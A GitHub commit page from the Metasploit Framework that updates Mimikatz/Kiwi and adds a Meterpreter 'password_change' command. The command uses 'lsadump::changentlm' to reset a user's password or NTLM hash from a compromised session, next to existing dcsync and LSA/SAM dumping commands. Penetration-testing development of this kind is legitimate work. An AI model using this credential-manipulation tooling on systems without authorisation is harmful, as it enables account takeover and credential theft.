Skip to content

Commit 148f182

Browse files
author
Brent Cook
committed
Land rapid7#8549, Update to Mimikatz 2.1.1 20170608 for changentlm function
2 parents 2617ae7 + 5588d0f commit 148f182

20 files changed

+144
-20
lines changed

.ruby-version

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
2.4.1
1+
2.4.0

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ PATH
1515
metasploit-concern
1616
metasploit-credential
1717
metasploit-model
18-
metasploit-payloads (= 1.2.33)
18+
metasploit-payloads (= 1.2.35)
1919
metasploit_data_models
2020
metasploit_payloads-mettle (= 0.1.10)
2121
msgpack
@@ -196,7 +196,7 @@ GEM
196196
activemodel (~> 4.2.6)
197197
activesupport (~> 4.2.6)
198198
railties (~> 4.2.6)
199-
metasploit-payloads (1.2.33)
199+
metasploit-payloads (1.2.35)
200200
metasploit_data_models (2.0.14)
201201
activerecord (~> 4.2.6)
202202
activesupport (~> 4.2.6)

lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,43 @@ def exec_cmd(cmd)
5353
output[output.index("\n") + 1, output.length]
5454
end
5555

56+
def password_change(opts)
57+
cmd = "lsadump::changentlm /user:#{opts[:user]}"
58+
cmd << " /server:#{opts[:server]}" if opts[:server]
59+
cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass]
60+
cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash]
61+
cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass]
62+
cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash]
63+
64+
output = exec_cmd("\"#{cmd}\"")
65+
result = {}
66+
67+
if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m
68+
result[:old] = $1
69+
end
70+
if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m
71+
result[:new] = $1
72+
end
73+
74+
if output =~ /^ERROR/m
75+
result[:success] = false
76+
if output =~ /^ERROR.*SamConnect/m
77+
result[:error] = 'Invalid server.'
78+
elsif output =~ /^ERROR.*Bad old/m
79+
result[:error] = 'Invalid old password or hash.'
80+
elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
81+
result[:error] = 'Invalid user.'
82+
else
83+
STDERR.puts(output)
84+
result[:error] = 'Unknown error.'
85+
end
86+
else
87+
result[:success] = true
88+
end
89+
90+
result
91+
end
92+
5693
def dcsync(domain_user)
5794
exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
5895
end

lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb

Lines changed: 88 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def initialize(shell)
3838
super
3939
print_line
4040
print_line
41-
print_line(" .#####. mimikatz 2.1.1-20170409 (#{client.session_type})")
41+
print_line(" .#####. mimikatz 2.1.1 20170608 (#{client.session_type})")
4242
print_line(" .## ^ ##. \"A La Vie, A L'Amour\"")
4343
print_line(" ## / \\ ## /* * *")
4444
print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )")
@@ -72,6 +72,7 @@ def commands
7272
'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)',
7373
'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)',
7474
'lsa_dump_sam' => 'Dump LSA SAM (unparsed)',
75+
'password_change' => 'Change the password/hash of a user',
7576
'wifi_list' => 'List wifi profiles/creds for the current user',
7677
'wifi_list_shared' => 'List shared wifi profiles/creds (requires SYSTEM)',
7778
}
@@ -82,6 +83,92 @@ def cmd_kiwi_cmd(*args)
8283
print_line(output)
8384
end
8485

86+
#
87+
# Valid options for the password change feature
88+
#
89+
@@password_change_usage_opts = Rex::Parser::Arguments.new(
90+
'-h' => [false, 'Help banner'],
91+
'-u' => [true, 'User name of the password to change.'],
92+
'-s' => [true, 'Server to perform the action on (eg. Domain Controller).'],
93+
'-op' => [true, 'The known existing/old password (do not use with -oh).'],
94+
'-oh' => [true, 'The known existing/old hash (do not use with -op).'],
95+
'-np' => [true, 'The new password to set for the account (do not use with -nh).'],
96+
'-nh' => [true, 'The new hash to set for the account (do not use with -np).']
97+
)
98+
99+
def cmd_password_change_usage
100+
print_line('Usage password_change [options]')
101+
print_line
102+
print_line(@@password_change_usage_opts.usage)
103+
end
104+
105+
def cmd_password_change(*args)
106+
if args.length == 0 || args.include?('-h')
107+
cmd_password_change_usage
108+
return
109+
end
110+
111+
opts = {}
112+
113+
@@password_change_usage_opts.parse(args) { |opt, idx, val|
114+
case opt
115+
when '-u'
116+
opts[:user] = val
117+
when '-s'
118+
opts[:server] = val
119+
when '-op'
120+
opts[:old_pass] = val
121+
when '-oh'
122+
opts[:old_hash] = val
123+
when '-np'
124+
opts[:new_pass] = val
125+
when '-nh'
126+
opts[:new_hash] = val
127+
end
128+
}
129+
130+
valid = true
131+
if opts[:old_pass] && opts[:old_hash]
132+
print_error('Options -op and -oh cannot be used together.')
133+
valid = false
134+
end
135+
136+
if opts[:new_pass] && opts[:new_hash]
137+
print_error('Options -np and -nh cannot be used together.')
138+
valid = false
139+
end
140+
141+
unless opts[:old_pass] || opts[:old_hash]
142+
print_error('At least one of -op and -oh must be specified.')
143+
valid = false
144+
end
145+
146+
unless opts[:new_pass] || opts[:new_hash]
147+
print_error('At least one of -np and -nh must be specified.')
148+
valid = false
149+
end
150+
151+
unless opts[:user]
152+
print_error('The -u parameter must be specified.')
153+
valid = false
154+
end
155+
156+
if valid
157+
158+
unless opts[:server]
159+
print_status('No server (-s) specified, defaulting to localhost.')
160+
end
161+
162+
result = client.kiwi.password_change(opts)
163+
164+
if result[:success] == true
165+
print_good("Success! New NTLM hash: #{result[:new]}")
166+
else
167+
print_error("Failed! #{result[:error]}")
168+
end
169+
end
170+
end
171+
85172
def cmd_dcsync(*args)
86173
return unless check_is_domain_user
87174

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ Gem::Specification.new do |spec|
6868
# are needed when there's no database
6969
spec.add_runtime_dependency 'metasploit-model'
7070
# Needed for Meterpreter
71-
spec.add_runtime_dependency 'metasploit-payloads', '1.2.33'
71+
spec.add_runtime_dependency 'metasploit-payloads', '1.2.35'
7272
# Needed for the next-generation POSIX Meterpreter
7373
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.10'
7474
# Needed by msfgui and other rpc components

modules/payloads/singles/php/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 27727
14+
CachedSize = 27602
1515

1616
include Msf::Payload::Single
1717
include Msf::Payload::Php::ReverseTcp

modules/payloads/singles/python/meterpreter_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 54306
14+
CachedSize = 54142
1515

1616
include Msf::Payload::Single
1717
include Msf::Payload::Python

modules/payloads/singles/python/meterpreter_reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 54270
14+
CachedSize = 54106
1515

1616
include Msf::Payload::Single
1717
include Msf::Payload::Python

modules/payloads/singles/python/meterpreter_reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 54270
14+
CachedSize = 54106
1515

1616
include Msf::Payload::Single
1717
include Msf::Payload::Python

modules/payloads/singles/python/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 54222
14+
CachedSize = 54058
1515

1616
include Msf::Payload::Single
1717
include Msf::Payload::Python

0 commit comments

Comments
 (0)